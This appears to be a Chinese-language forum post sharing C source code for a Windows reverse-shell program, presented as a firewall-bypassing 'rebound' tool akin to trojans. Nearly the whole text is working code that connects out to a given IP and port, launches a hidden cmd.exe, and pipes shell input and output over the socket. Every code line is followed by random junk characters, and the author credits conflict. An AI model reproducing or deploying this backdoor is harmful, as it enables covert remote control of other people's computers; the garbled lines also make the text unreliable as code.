这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w4OVfTlN
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/* ============================== 3Ry?{m^
Rebound port in Windows NT lY~xoHT;[
By wind,2006/7 ,Zdc
===============================*/ t~Uqsa>n@'
#include +h
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#include 8Hhe&B
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#pragma comment(lib,"wsock32.lib") !v^D
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void OutputShell(); x*YJ:t
SOCKET sClient; =$HzEzrw
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gAE}3//
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void main(int argc,char **argv) X\ h]N
{ p5*i
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WSADATA stWsaData; 39OZZaWL
int nRet; Bp}<H<@
SOCKADDR_IN stSaiClient,stSaiServer; "8-]6p3u
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if(argc != 3) x>t:&Y M
{ Y A;S'dxY
printf("Useage:\n\rRebound DestIP DestPort\n"); _uRgKoiy
return; W4Eo1 E
} 'Ct+0X:D
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WSAStartup(MAKEWORD(2,2),&stWsaData); jtZ@`io
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oV*3Mec
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stSaiClient.sin_family = AF_INET; uy B
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stSaiClient.sin_port = htons(0); Tj.;\a|d
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HMBxj($eR
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6OVAsmE
{ $
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printf("Bind Socket Failed!\n"); %DiZ&}^Ck
return; PPohpdd)
} bzZEwMc6
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stSaiServer.sin_family = AF_INET; L%<1cE))
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (ttO
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7)[4|I
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9m<>G3Jr
{ -0>@jfP^D
printf("Connect Error!"); hG3b7!^#g
return; *iYs,4
} ; LTc4t
OutputShell(); [u~#F,_ow
} ?p/i}28=y
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void OutputShell() #w#B'
{ ,cpPXcz ?,
char szBuff[1024]; ]92@&J0w
SECURITY_ATTRIBUTES stSecurityAttributes; sR #( \
OSVERSIONINFO stOsversionInfo; 1(C%/g#"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e`Yx]3;u(
STARTUPINFO stStartupInfo; )u<sEF
char *szShell; aG,N>0k8
PROCESS_INFORMATION stProcessInformation; NK d8XQ=%
unsigned long lBytesRead; 5 J 0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D7 .R
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0Ebs-kP
stSecurityAttributes.lpSecurityDescriptor = 0; VN*^pAzlF
stSecurityAttributes.bInheritHandle = TRUE; '*W/Bett
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c>I^SY(r%
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mw.9cDf
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); aWW|.#L
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r lW
stStartupInfo.wShowWindow = SW_HIDE; yay{lP}b"
stStartupInfo.hStdInput = hReadPipe; RzNv|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kIM* K%L}
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GetVersionEx(&stOsversionInfo); DN!:Rm uc
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switch(stOsversionInfo.dwPlatformId) )x#^fN~ 7`
{ \Z<' u;
case 1: w,D(zk$
szShell = "command.com"; ;Cm%<vW4!
break; 7LKNEll
default: y~;Kf0~
szShell = "cmd.exe"; 'R?;T[s%
break; KUZ'$oKg
} "5]GEzM3O
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2,'m]`;GNr
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send(sClient,szMsg,77,0); p)d'yj
while(1) S_aml
{ 03[(dRK>=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P)ZGNtO9fG
if(lBytesRead) K5'@$Km
{ W~FcU+a
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); :*#I1nb$
} =((#k DrN
else ABB4(_3E
{ r`VKb
lBytesRead=recv(sClient,szBuff,1024,0); ,H\EPmNHK
if(lBytesRead<=0) break; We_/:=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); JT, 8/o
} \Ua"gS2L
} H/YZwDx,i
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return; ,J~kwJ$L
}